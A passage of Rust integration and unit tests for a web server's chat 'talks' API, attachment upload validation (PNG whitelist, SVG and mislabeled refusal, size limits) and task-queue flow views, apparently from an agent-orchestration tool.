16924            // A settled talk: the draft drained into an operator turn and
16925            // answered.
16926            let mut fresh = talks.get(&id).expect("reload talk");
16927            for _ in 0..SETTLE_STEPS {
16928                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16929                    break;
16930                }
16931                tokio::time::sleep(Duration::from_millis(10)).await;
16932                fresh = talks.get(&id).expect("reload talk");
16933            }
16934            assert!(
16935                fresh.pending.is_empty() && fresh.turns.len() == 2,
16936                "attempt {attempt}: talk {id} left the operator's text queued \
16937                 with no drainer - the reclaimed turn was dropped along with \
16938                 the handler future (pending {:?}, {} turns)",
16939                fresh.pending,
16940                fresh.turns.len()
16941            );
16942        }
16943    }
16944
16945    #[tokio::test]
16946    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16947        let (_tmp, _repo, f) = talk_fixture().await;
16948        let id = f.post("/api/talks", None).await.json()["id"]
16949            .as_str()
16950            .expect("id")
16951            .to_owned();
16952        let store = f.talks();
16953        let mut recovered = store.get(&id).expect("opened talk");
16954        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16955            .expect("persist pending draft without a live turn");
16956
16957        let edited = f
16958            .post(
16959                &format!("/api/talks/{id}/pending/edit"),
16960                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16961            )
16962            .await;
16963        assert_eq!(edited.status, 200, "{}", edited.body);
16964        assert!(edited.json()["thinking"].as_bool().unwrap());
16965
16966        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16967        for _ in 0..SETTLE_STEPS {
16968            if detail["turns"].as_array().expect("turns").len() == 2 {
16969                break;
16970            }
16971            tokio::time::sleep(Duration::from_millis(10)).await;
16972            detail = f.get(&format!("/api/talks/{id}")).await.json();
16973        }
16974        let turns = detail["turns"].as_array().expect("turns");
16975        assert_eq!(
16976            turns.len(),
16977            2,
16978            "the recovered draft must run once: {detail}"
16979        );
16980        assert_eq!(turns[0]["body"], "corrected");
16981        assert_eq!(detail["pending"], "");
16982    }
16983
16984    #[tokio::test]
16985    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16986        let tmp = TempDir::new().expect("tempdir");
16987        let repo = tmp.path().join("repo");
16988        std::fs::create_dir_all(&repo).expect("repo dir");
16989        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16990        let f = Fixture::with_repo(repo).await;
16991        let id = f.post("/api/talks", None).await.json()["id"]
16992            .as_str()
16993            .expect("id")
16994            .to_owned();
16995        let store = f.talks();
16996        let mut recovered = store.get(&id).expect("opened talk");
16997        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16998            .expect("persist pending draft without a live turn");
16999
17000        let refused = f
17001            .post(
17002                &format!("/api/talks/{id}/say"),
17003                Some(r#"{"text":"new message"}"#),
17004            )
17005            .await;
17006        assert_eq!(refused.status, 409, "{}", refused.body);
17007        assert!(refused.body.contains("resume"), "{}", refused.body);
17008        let saved = store.get(&id).expect("draft remains after refusal");
17009        assert!(saved.turns.is_empty());
17010        assert_eq!(saved.pending, "saved before restart");
17011
17012        let say_path = format!("/api/talks/{id}/say");
17013        let (first, second) = tokio::join!(
17014            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
17015            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
17016        );
17017        assert_eq!(first.status, 409, "{}", first.body);
17018        assert_eq!(second.status, 409, "{}", second.body);
17019        let saved = store
17020            .get(&id)
17021            .expect("draft remains after concurrent refusals");
17022        assert!(saved.turns.is_empty());
17023        assert_eq!(saved.pending, "saved before restart");
17024
17025        let resumed = f
17026            .post(&format!("/api/talks/{id}/pending/resume"), None)
17027            .await;
17028        assert_eq!(resumed.status, 202, "{}", resumed.body);
17029        let duplicate = f
17030            .post(&format!("/api/talks/{id}/pending/resume"), None)
17031            .await;
17032        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
17033
17034        for _ in 0..SETTLE_STEPS {
17035            if store.get(&id).expect("talk").turns.len() == 2 {
17036                break;
17037            }
17038            tokio::time::sleep(Duration::from_millis(10)).await;
17039        }
17040        let finished = store.get(&id).expect("finished talk");
17041        assert_eq!(finished.turns.len(), 2, "{finished:?}");
17042        assert_eq!(finished.turns[0].body, "saved before restart");
17043        assert!(finished.pending.is_empty());
17044    }
17045
17046    #[tokio::test]
17047    async fn an_image_only_recovered_draft_resumes_without_text() {
17048        let (_tmp, _repo, f) = talk_fixture().await;
17049        let id = f.post("/api/talks", None).await.json()["id"]
17050            .as_str()
17051            .expect("id")
17052            .to_owned();
17053        let uploaded = f
17054            .post_bytes(
17055                &format!("/api/talks/{id}/attachments"),
17056                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
17057                PNG_BYTES,
17058            )
17059            .await;
17060        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
17061        let attachment = f
17062            .talks()
17063            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
17064            .expect("attachment metadata")
17065            .expect("stored attachment");
17066        let store = f.talks();
17067        let mut recovered = store.get(&id).expect("opened talk");
17068        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
17069
17070        let resumed = f
17071            .post(&format!("/api/talks/{id}/pending/resume"), None)
17072            .await;
17073        assert_eq!(resumed.status, 202, "{}", resumed.body);
17074        for _ in 0..SETTLE_STEPS {
17075            if store.get(&id).expect("talk").turns.len() == 2 {
17076                break;
17077            }
17078            tokio::time::sleep(Duration::from_millis(10)).await;
17079        }
17080        let finished = store.get(&id).expect("finished talk");
17081        assert_eq!(finished.turns.len(), 2, "{finished:?}");
17082        assert!(finished.turns[0].body.is_empty());
17083        assert_eq!(finished.turns[0].attachments.len(), 1);
17084        assert!(finished.pending_attachments.is_empty());
17085    }
17086
17087    #[tokio::test]
17088    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
17089        let (_tmp, _repo, f) = talk_fixture().await;
17090        let id = f.post("/api/talks", None).await.json()["id"]
17091            .as_str()
17092            .expect("id")
17093            .to_owned();
17094        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17095        assert_eq!(closed.status, 200, "{}", closed.body);
17096        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
17097            .expect("serialize closed talk");
17098        for (path, body) in [
17099            (format!("/api/talks/{id}/pending/resume"), None),
17100            (
17101                format!("/api/talks/{id}/pending/clear"),
17102                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
17103            ),
17104            (
17105                format!("/api/talks/{id}/pending/edit"),
17106                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
17107            ),
17108            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
17109        ] {
17110            let response = f.post(&path, body).await;
17111            assert_eq!(response.status, 409, "{}", response.body);
17112        }
17113        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
17114            .expect("serialize closed talk");
17115        assert_eq!(
17116            after_clear, before_clear,
17117            "clear must not rewrite a closed talk"
17118        );
17119    }
17120
17121    /// Keeps both claims observable long enough to exercise the distinction
17122    /// between one busy talk and a globally locked Chat surface.
17123    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
17124
17125    #[tokio::test]
17126    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
17127        let tmp = TempDir::new().expect("tempdir");
17128        let repo = tmp.path().join("repo");
17129        std::fs::create_dir_all(&repo).expect("repo dir");
17130        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
17131        let f = Fixture::with_repo(repo).await;
17132        let id_a = f.post("/api/talks", None).await.json()["id"]
17133            .as_str()
17134            .unwrap()
17135            .to_owned();
17136        let id_b = f.post("/api/talks", None).await.json()["id"]
17137            .as_str()
17138            .unwrap()
17139            .to_owned();
17140
17141        let a = f
17142            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
17143            .await;
17144        assert_eq!(a.status, 202, "{}", a.body);
17145        assert_eq!(a.json()["thinking"], true);
17146        let b = f
17147            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
17148            .await;
17149        assert_eq!(b.status, 202, "{}", b.body);
17150        assert_eq!(b.json()["thinking"], true);
17151
17152        let listed = f.get("/api/talks").await.json();
17153        for id in [&id_a, &id_b] {
17154            let view = listed
17155                .as_array()
17156                .unwrap()
17157                .iter()
17158                .find(|talk| talk["id"] == *id)
17159                .unwrap();
17160            assert_eq!(view["thinking"], true, "{listed}");
17161        }
17162        let repeated = f
17163            .post(
17164                &format!("/api/talks/{id_a}/say"),
17165                Some(r#"{"text":"again"}"#),
17166            )
17167            .await;
17168        assert_eq!(repeated.status, 202, "{}", repeated.body);
17169        assert_eq!(repeated.json()["pending"], "again");
17170    }
17171
17172    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
17173    /// few more, since real uploads are never exactly eight bytes.
17174    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
17175
17176    #[tokio::test]
17177    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
17178        let f = Fixture::start().await;
17179        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
17180
17181        let res = f
17182            .post_bytes(
17183                &format!("/api/talks/{id}/attachments"),
17184                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
17185                PNG_BYTES,
17186            )
17187            .await;
17188        assert_eq!(res.status, 201, "{}", res.body);
17189        let body = res.json();
17190        assert_eq!(body["name"], "shot.png");
17191        assert_eq!(body["mime"], "image/png");
17192        assert_eq!(body["bytes"], PNG_BYTES.len());
17193        let att_id = body["id"].as_str().expect("id").to_owned();
17194        assert_eq!(
17195            att_id.len(),
17196            32,
17197            "the id must never be a client-suppliable path: {att_id}"
17198        );
17199
17200        let got = f
17201            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
17202            .await;
17203        assert_eq!(got.status, 200, "{}", got.body);
17204        assert_eq!(got.header("content-type"), Some("image/png"));
17205        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
17206        assert_eq!(got.bytes, PNG_BYTES);
17207    }
17208
17209    #[tokio::test]
17210    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
17211        let f = Fixture::start().await;
17212        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
17213
17214        // SVG can carry a `<script>`, so it is never on the whitelist even
17215        // though it is a real IANA image type.
17216        let svg = f
17217            .post_bytes(
17218                &format!("/api/talks/{id}/attachments"),
17219                &[("Content-Type", "image/svg+xml")],
17220                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
17221            )
17222            .await;
17223        assert!(
17224            (400..500).contains(&svg.status),
17225            "svg must be refused: {} {}",
17226            svg.status,
17227            svg.body
17228        );
17229        assert!(svg.body.contains("SVG"), "{}", svg.body);
17230
17231        let text = f
17232            .post_bytes(
17233                &format!("/api/talks/{id}/attachments"),
17234                &[("Content-Type", "text/plain")],
17235                b"just some text",
17236            )
17237            .await;
17238        assert!(
17239            (400..500).contains(&text.status),
17240            "an unlisted type must be refused: {} {}",
17241            text.status,
17242            text.body
17243        );
17244
17245        // The declared type is a real png, but the size check runs before
17246        // the bytes are even looked at.
17247        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
17248        let big = f
17249            .post_bytes(
17250                &format!("/api/talks/{id}/attachments"),
17251                &[("Content-Type", "image/png")],
17252                &oversized,
17253            )
17254            .await;
17255        assert_eq!(
17256            big.status,
17257            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
17258            "{}",
17259            big.body
17260        );
17261    }
17262
17263    #[tokio::test]
17264    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
17265        let f = Fixture::start().await;
17266        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
17267
17268        // A whitelisted `Content-Type`, but bytes that are not actually a
17269        // png - the declared header alone is never trusted.
17270        let res = f
17271            .post_bytes(
17272                &format!("/api/talks/{id}/attachments"),
17273                &[("Content-Type", "image/png")],
17274                b"<html>not a picture</html>",
17275            )
17276            .await;
17277        assert!((400..500).contains(&res.status), "{}", res.body);
17278    }
17279
17280    #[tokio::test]
17281    async fn an_unknown_attachment_id_is_a_404() {
17282        let f = Fixture::start().await;
17283        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
17284
17285        let res = f
17286            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
17287            .await;
17288        assert_eq!(res.status, 404, "{}", res.body);
17289    }
17290
17291    #[tokio::test]
17292    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
17293        let f = Fixture::start().await;
17294        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
17295
17296        let uploaded = f
17297            .post_bytes(
17298                &format!("/api/talks/{id}/attachments"),
17299                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
17300                PNG_BYTES,
17301            )
17302            .await;
17303        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
17304        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
17305
17306        let res = f
17307            .post(
17308                &format!("/api/talks/{id}/say"),
17309                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
17310            )
17311            .await;
17312        assert_eq!(res.status, 202, "{}", res.body);
17313        let queued = res.json();
17314        let turns = queued["turns"].as_array().expect("turns array");
17315        assert_eq!(
17316            turns.len(),
17317            1,
17318            "an empty body with an attachment is still a turn: {queued}"
17319        );
17320        assert_eq!(turns[0]["who"], "operator");
17321        assert_eq!(turns[0]["body"], "");
17322        let atts = turns[0]["attachments"]
17323            .as_array()
17324            .expect("attachments array");
17325        assert_eq!(atts.len(), 1);
17326        assert_eq!(atts[0]["id"], att_id);
17327        assert_eq!(atts[0]["mime"], "image/png");
17328
17329        // Not only in the response: `record` flushes to disk before the
17330        // agent's own turn is even spawned.
17331        let on_disk = f.talks().get(&id).expect("get");
17332        assert_eq!(on_disk.turns[0].attachments.len(), 1);
17333        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
17334    }
17335
17336    #[tokio::test]
17337    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
17338        let f = Fixture::start().await;
17339        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
17340
17341        let res = f
17342            .post(
17343                &format!("/api/talks/{id}/say"),
17344                Some(&format!(
17345                    r#"{{"text":"hi","attachments":["{}"]}}"#,
17346                    "a".repeat(32)
17347                )),
17348            )
17349            .await;
17350        assert!((400..500).contains(&res.status), "{}", res.body);
17351        assert!(res.body.contains("unknown attachment"), "{}", res.body);
17352
17353        let on_disk = f.talks().get(&id).expect("get");
17354        assert!(
17355            on_disk.turns.is_empty(),
17356            "a rejected attachment id must not partially record the turn: {:?}",
17357            on_disk.turns
17358        );
17359    }
17360
17361    #[tokio::test]
17362    async fn talk_close_makes_the_talk_refuse_further_turns() {
17363        let f = Fixture::start().await;
17364        let id = seed_talk(&f, "20260904-014455-cd34", "open");
17365
17366        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17367        assert_eq!(closed.status, 200, "{}", closed.body);
17368        assert_eq!(closed.json()["status"], "closed");
17369
17370        // Idempotent: closing an already-closed talk is not an error.
17371        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
17372        assert_eq!(closed_again.status, 200);
17373        assert_eq!(closed_again.json()["status"], "closed");
17374
17375        let said = f
17376            .post(
17377                &format!("/api/talks/{id}/say"),
17378                Some(r#"{"text":"too late"}"#),
17379            )
17380            .await;
17381        assert_eq!(said.status, 409, "{}", said.body);
17382    }
17383
17384    #[tokio::test]
17385    async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
17386        let f = Fixture::start().await;
17387        let id = seed_talk(&f, "20260904-014455-cd34", "open");
17388        let store = f.talks();
17389        let mut queued = store.get(&id).expect("talk");
17390        for automatic in [false, true] {
17391            if automatic {
17392                talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
17393                    .expect("queue automatic input");
17394            } else {
17395                talk::queue(&mut queued, &store, "queued send", Vec::new())
17396                    .expect("queue operator input");
17397            }
17398            let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
17399            let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
17400            assert_eq!(refused.status, 409, "{}", refused.body);
17401            assert!(refused.body.contains("pending input"), "{}", refused.body);
17402            assert_eq!(
17403                serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
17404                before,
17405                "a close refusal must preserve the entire record"
17406            );
17407            talk::clear_pending(&mut queued, &store).expect("clear saved input");
17408        }
17409        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17410        assert_eq!(closed.status, 200, "{}", closed.body);
17411        assert_eq!(closed.json()["status"], "closed");
17412    }
17413
17414    #[tokio::test]
17415    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
17416        let (_tmp, _repo, f) = talk_fixture().await;
17417        let id = f.post("/api/talks", None).await.json()["id"]
17418            .as_str()
17419            .expect("id")
17420            .to_owned();
17421        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
17422        assert_eq!(closed.status, 200, "{}", closed.body);
17423
17424        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
17425        assert_eq!(reopened.status, 200, "{}", reopened.body);
17426        assert_eq!(reopened.json()["status"], "open");
17427
17428        // Idempotent: reopening an already-open talk is not an error.
17429        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
17430        assert_eq!(reopened_again.status, 200);
17431        assert_eq!(reopened_again.json()["status"], "open");
17432
17433        let said = f
17434            .post(
17435                &format!("/api/talks/{id}/say"),
17436                Some(r#"{"text":"still there?"}"#),
17437            )
17438            .await;
17439        assert_eq!(
17440            said.status, 202,
17441            "a reopened talk accepts turns again: {}",
17442            said.body
17443        );
17444    }
17445
17446    #[tokio::test]
17447    async fn talk_reopen_on_an_unknown_id_is_404() {
17448        let f = Fixture::start().await;
17449        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
17450        assert_eq!(res.status, 404, "{}", res.body);
17451    }
17452
17453    #[tokio::test]
17454    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
17455        let f = Fixture::start().await;
17456        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
17457
17458        let deleted = f.delete(&format!("/api/talks/{id}")).await;
17459        assert_eq!(deleted.status, 204, "{}", deleted.body);
17460
17461        let after = f.get(&format!("/api/talks/{id}")).await;
17462        assert_eq!(after.status, 404, "{}", after.body);
17463
17464        let listed = f.get("/api/talks").await.json();
17465        assert!(
17466            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
17467            "a deleted talk must not linger in the list: {listed}"
17468        );
17469    }
17470
17471    #[tokio::test]
17472    async fn talk_delete_on_an_unknown_id_is_404() {
17473        let f = Fixture::start().await;
17474        let res = f.delete("/api/talks/nonexistent-id").await;
17475        assert_eq!(res.status, 404, "{}", res.body);
17476    }
17477
17478    /// A task's page lists every run it ever had, in order, and says what kind
17479    /// of attempt each was - including a resume, which re-pushes the same run
17480    /// id, and a run whose record this build cannot read.
17481    #[tokio::test]
17482    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
17483        let f = Fixture::start().await;
17484        let (a, b, gone) = (
17485            "20260902-140501-aaaa",
17486            "20260902-140502-bbbb",
17487            "20260902-140503-cccc",
17488        );
17489        write_run(&f.runs(), a, RunStatus::Stalled);
17490        let mut review = RunState::new(
17491            PathBuf::from("/repo/magi"),
17492            "main".to_owned(),
17493            "0123456789abcdef".to_owned(),
17494            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
17495                .to_owned(),
17496            Config::default(),
17497        );
17498        review.id = b.to_owned();
17499        review.status = RunStatus::Merged;
17500        write_state(&f.runs(), &review);
17501
17502        let mut task = Task::new(
17503            "retry".to_owned(),
17504            "Do the thing".to_owned(),
17505            PathBuf::from("/repo/magi"),
17506            Source::Human,
17507        );
17508        task.start(a.to_owned());
17509        task.stall("quota");
17510        task.start(a.to_owned());
17511        task.start(b.to_owned());
17512        task.start(gone.to_owned());
17513        // This fixture models an older queue file with repeated run entries.
17514        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
17515        f.queue().put(&mut task).expect("file the task");
17516
17517        let res = f.get(&format!("/api/queue/{}", task.id)).await;
17518        assert_eq!(res.status, 200, "{}", res.body);
17519        let v = res.json();
17520        let h = v["history"].as_array().expect("history");
17521        assert_eq!(h.len(), 4, "{v}");
17522        assert_eq!(h[0]["kind"], "competition");
17523        assert_eq!(h[0]["status"], "stalled");
17524        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
17525        assert_eq!(h[1]["kind"], "resume", "{v}");
17526        assert!(
17527            h[0]["outcome"]
17528                .as_str()
17529                .unwrap()
17530                .contains("unknown. Pass #2"),
17531            "an earlier pass of a resumed run must not claim the final outcome: {v}"
17532        );
17533        assert!(
17534            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
17535            "{v}"
17536        );
17537        assert!(
17538            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
17539            "an unrecorded cause must not be narrated as an operator park: {v}"
17540        );
17541        assert_eq!(h[2]["kind"], "review");
17542        assert!(
17543            h[2]["description"]
17544                .as_str()
17545                .unwrap()
17546                .contains("magi/aaaa/A")
17547        );
17548        assert_eq!(h[2]["status"], "merged");
17549        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
17550        assert_eq!(v["runs_unreadable"], 1);
17551        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
17552        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
17553        assert_eq!(nodes[4]["note"], "unreadable");
17554        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
17555        assert_eq!(v["instruction"], "Do the thing");
17556        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
17557
17558        // The run's own page links back to the task.
17559        let run = f.get(&format!("/api/runs/{a}")).await.json();
17560        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
17561
17562        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
17563    }
17564
17565    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
17566        let mut s = RunState::new(
17567            PathBuf::from("/repo/magi"),
17568            "main".to_owned(),
17569            "0123456789abcdef".to_owned(),
17570            "Do it".to_owned(),
17571            Config::default(),
17572        );
17573        s.status = status;
17574        edit(&mut s);
17575        s
17576    }
17577
17578    fn flow_task(runs: &[&str]) -> Task {
17579        let mut t = Task::new(
17580            "t".to_owned(),
17581            "Do it".to_owned(),
17582            PathBuf::from("/repo/magi"),
17583            Source::Human,
17584        );
17585        for r in runs {
17586            t.start((*r).to_owned());
17587        }
17588        // Synthetic flows without RunPass records model legacy queue data.
17589        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17590        t
17591    }
17592
17593    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
17594        let h = task_history(task, |id| {
17595            states
17596                .iter()
17597                .find(|(i, _)| *i == id)
17598                .and_then(|(_, s)| s.clone())
17599        });
17600        task_flow(task, &h, 5, None)
17601    }
17602
17603    #[test]
17604    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
17605        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
17606        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17607        let first = "2026-10-10T02:00:00Z".parse().unwrap();
17608        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
17609        let held = "2026-10-10T04:00:00Z".parse().unwrap();
17610        let run = flow_run(RunStatus::Implementing, |s| {
17611            s.created_at = created;
17612            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
17613            s.passes[0].started_at = first;
17614            s.passes[1].started_at = resumed;
17615        });
17616        let mut task = flow_task(&[RUN_X, RUN_X]);
17617        task.created_at = queued;
17618        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
17619        task.status = TaskStatus::Held;
17620        task.held_at = Some(held);
17621        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
17622        assert_eq!(
17623            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
17624            vec![Some(queued), Some(first), Some(resumed), Some(held)]
17625        );
17626        assert!(flow.nodes.iter().all(|n| n.time_expected));
17627        let json = serde_json::to_value(&flow).unwrap();
17628        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
17629        assert_eq!(json["nodes"][2]["time_expected"], true);
17630    }
17631
17632    #[test]
17633    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
17634        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17635        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
17636        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
17637        // These timestamps are not the start of the current status.
17638        task.held_at = Some(created);
17639        task.blocked_at = Some(created);
17640        for status in [
17641            TaskStatus::Queued,
17642            TaskStatus::Running,
17643            TaskStatus::Blocked,
17644            TaskStatus::Done,
17645            TaskStatus::Failed,
17646            TaskStatus::Parked,
17647            TaskStatus::Held,
17648        ] {
17649            task.status = status;
17650            if status == TaskStatus::Held {
17651                task.held_at = None;
17652            }
17653            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
17654            assert_eq!(flow.nodes[1].started_at, Some(created));
17655            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
17656            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
17657            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
17658            let json = serde_json::to_value(&flow).unwrap();
17659            assert!(json["nodes"][3]["started_at"].is_null());
17660            assert_eq!(json["nodes"][3]["time_expected"], true);
17661        }
17662    }
17663
17664    #[test]
17665    fn flow_context_links_do_not_expect_start_times() {
17666        let mut task = flow_task(&[]);
17667        task.source = Source::Agent {
17668            run: "chat-id".to_owned(),
17669            node: "chat".to_owned(),
17670        };
17671        let origin = followup_origin(&fu(None), |_| None, |_| None);
17672        let flow = task_flow(&task, &[], 5, Some(&origin));
17673        for node in &flow.nodes[..2] {
17674            assert!(!node.time_expected);
17675            assert_eq!(node.started_at, None);
17676        }
17677        assert!(flow.nodes[2].time_expected);
17678    }
17679
17680    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17681        crate::queue::FollowUp {
17682            run: "20260901-000000-aaaa".to_owned(),
17683            origin_task: origin_task.map(str::to_owned),
17684            pr: "https://example.com/o/r/pull/1".to_owned(),
17685            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17686                .map(str::to_owned)
17687                .to_vec(),
17688            generation: 1,
17689        }
17690    }
17691
17692    fn parent_task() -> Task {
17693        let mut p = flow_task(&[]);
17694        p.title = "Parent title".to_owned();
17695        p.status = TaskStatus::Done;
17696        p
17697    }
17698
17699    #[test]
17700    fn flow_opens_with_the_parent_task_of_a_followup() {
17701        let p = parent_task();
17702        let pid = p.id.clone();
17703        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17704        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17705        let n = &f.nodes[0];
17706        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17707        assert_eq!(
17708            n.label,
17709            format!("Follow-up of {}", crate::queue::short(&pid))
17710        );
17711        assert_eq!(n.detail.as_deref(), Some("Parent title"));
17712        assert_eq!(n.status, Some("done"));
17713        assert_eq!(n.status_of, "task");
17714        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17715        assert_eq!(f.nodes[1].key, "start");
17716        assert_eq!(f.edges[0].from, "origin");
17717        assert_eq!(
17718            f.edges[0].label,
17719            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17720        );
17721    }
17722
17723    #[test]
17724    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17725        let o = followup_origin(
17726            &fu(Some("gone")),
17727            |_| None,
17728            |_| {
17729                Some(RunState::new(
17730                    std::path::PathBuf::from("."),
17731                    "main".to_owned(),
17732                    "0".to_owned(),
17733                    "t".to_owned(),
17734                    crate::config::Config::default(),
17735                ))
17736            },
17737        );
17738        assert!(o.parent.is_none());
17739        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17740        let n = &f.nodes[0];
17741        assert_eq!(n.status_of, "run");
17742        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17743        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17744    }
17745
17746    #[test]
17747    fn flow_followup_with_nothing_readable_has_no_link() {
17748        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17749        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17750        let n = &f.nodes[0];
17751        assert_eq!(n.href, None);
17752        assert_eq!(n.note, Some("unreadable"));
17753        assert!(!n.readable);
17754    }
17755
17756    #[test]
17757    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17758        let o = followup_origin(&fu(None), |_| None, |_| None);
17759        let mut t = flow_task(&[]);
17760        t.origin_chat = Some("c1".to_owned());
17761        let f = task_flow(&t, &[], 5, Some(&o));
17762        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17763        t.source = Source::Agent {
17764            run: "c1".to_owned(),
17765            node: crate::queue::CHAT_NODE.to_owned(),
17766        };
17767        let f = task_flow(&t, &[], 5, Some(&o));
17768        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17769        assert_eq!(
17770            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
